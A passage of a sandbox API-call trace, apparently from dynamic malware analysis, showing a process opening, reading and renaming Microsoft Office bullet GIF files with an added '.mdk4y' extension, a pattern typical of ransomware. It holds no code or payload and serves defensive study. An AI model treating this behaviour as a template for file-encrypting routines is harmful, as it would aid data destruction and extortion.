dwFlags=0x0, lpWideCharStr="BD21314_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21314_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.564] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21314_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825879400000) returned 1 [0183.565] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x45, lpOverlapped=0x0) returned 1 [0183.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825879500000) returned 1 [0183.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825879500000) returned 1 [0183.566] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21314_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21314_.gif.mdk4y")) returned 1 [0183.566] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.566] AreFileApisANSI () returned 1 [0183.566] GetACP () returned 0x4e4 [0183.566] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21316_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21316_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.566] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21316_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825879700000) returned 1 [0183.567] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x113, lpOverlapped=0x0) returned 1 [0183.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825879800000) returned 1 [0183.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825879800000) returned 1 [0183.569] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21316_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21316_.gif.mdk4y")) returned 1 [0183.569] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.570] AreFileApisANSI () returned 1 [0183.570] GetACP () returned 0x4e4 [0183.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21327_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21327_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.570] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21327_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825880100000) returned 1 [0183.571] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xae, lpOverlapped=0x0) returned 1 [0183.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825880100000) returned 1 [0183.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825880100000) returned 1 [0183.572] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21327_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21327_.gif.mdk4y")) returned 1 [0183.573] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.573] AreFileApisANSI () returned 1 [0183.573] GetACP () returned 0x4e4 [0183.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21329_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21329_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.573] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21329_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825880300000) returned 1 [0183.573] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x131, lpOverlapped=0x0) returned 1 [0183.574] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825880400000) returned 1 [0183.574] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825880400000) returned 1 [0183.574] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21329_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21329_.gif.mdk4y")) returned 1 [0183.576] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.576] AreFileApisANSI () returned 1 [0183.576] GetACP () returned 0x4e4 [0183.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21331_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21331_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.576] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21331_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825880700000) returned 1 [0183.577] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x460, lpOverlapped=0x0) returned 1 [0183.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825884000000) returned 1 [0183.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825884000000) returned 1 [0183.610] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21331_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21331_.gif.mdk4y")) returned 1 [0183.611] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.611] AreFileApisANSI () returned 1 [0183.611] GetACP () returned 0x4e4 [0183.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21333_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21333_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.611] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21333_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825884200000) returned 1 [0183.612] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1a0, lpOverlapped=0x0) returned 1 [0183.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825884200000) returned 1 [0183.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825884300000) returned 1 [0183.613] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21333_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21333_.gif.mdk4y")) returned 1 [0183.613] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.613] AreFileApisANSI () returned 1 [0183.613] GetACP () returned 0x4e4 [0183.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21335_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21335_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.614] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21335_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.614] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825884400000) returned 1 [0183.615] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3cb, lpOverlapped=0x0) returned 1 [0183.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825886900000) returned 1 [0183.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825886900000) returned 1 [0183.640] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21335_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21335_.gif.mdk4y")) returned 1 [0183.641] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.641] AreFileApisANSI () returned 1 [0183.641] GetACP () returned 0x4e4 [0183.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21337_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21337_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.641] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21337_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825887200000) returned 1 [0183.642] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x146, lpOverlapped=0x0) returned 1 [0183.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825887300000) returned 1 [0183.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825887300000) returned 1 [0183.643] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21337_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21337_.gif.mdk4y")) returned 1 [0183.643] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.643] AreFileApisANSI () returned 1 [0183.644] GetACP () returned 0x4e4 [0183.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21339_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21339_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.644] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21339_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825887400000) returned 1 [0183.644] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6c, lpOverlapped=0x0) returned 1 [0183.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825887600000) returned 1 [0183.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825887600000) returned 1 [0183.646] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21339_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21339_.gif.mdk4y")) returned 1 [0183.647] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.647] AreFileApisANSI () returned 1 [0183.647] GetACP () returned 0x4e4 [0183.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21342_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21342_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.647] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21342_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825887800000) returned 1 [0183.648] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x10a, lpOverlapped=0x0) returned 1 [0183.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825887900000) returned 1 [0183.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825887900000) returned 1 [0183.649] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21342_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21342_.gif.mdk4y")) returned 1 [0183.650] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.650] AreFileApisANSI () returned 1 [0183.650] GetACP () returned 0x4e4 [0183.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21343_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21343_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.650] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21343_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825888100000) returned 1 [0183.651] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb6, lpOverlapped=0x0) returned 1 [0183.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825888200000) returned 1 [0183.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825888200000) returned 1 [0183.652] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21343_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21343_.gif.mdk4y")) returned 1 [0183.653] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.653] AreFileApisANSI () returned 1 [0183.653] GetACP () returned 0x4e4 [0183.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21344_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21344_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.653] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825888400000) returned 1 [0183.654] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb2, lpOverlapped=0x0) returned 1 [0183.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825888400000) returned 1 [0183.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825888400000) returned 1 [0183.655] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif.mdk4y")) returned 1 [0183.655] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.655] AreFileApisANSI () returned 1 [0183.655] GetACP () returned 0x4e4 [0183.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21364_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21364_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.655] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825888600000) returned 1 [0183.656] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf5, lpOverlapped=0x0) returned 1 [0183.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825888600000) returned 1 [0183.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825888600000) returned 1 [0183.657] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif.mdk4y")) returned 1 [0183.657] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.657] AreFileApisANSI () returned 1 [0183.657] GetACP () returned 0x4e4 [0183.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21365_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21365_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.657] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825888800000) returned 1 [0183.658] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xec, lpOverlapped=0x0) returned 1 [0183.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825888800000) returned 1 [0183.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825888900000) returned 1 [0183.659] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif.mdk4y")) returned 1 [0183.659] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.659] AreFileApisANSI () returned 1 [0183.659] GetACP () returned 0x4e4 [0183.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21366_.GIF", cchWideChar=12, 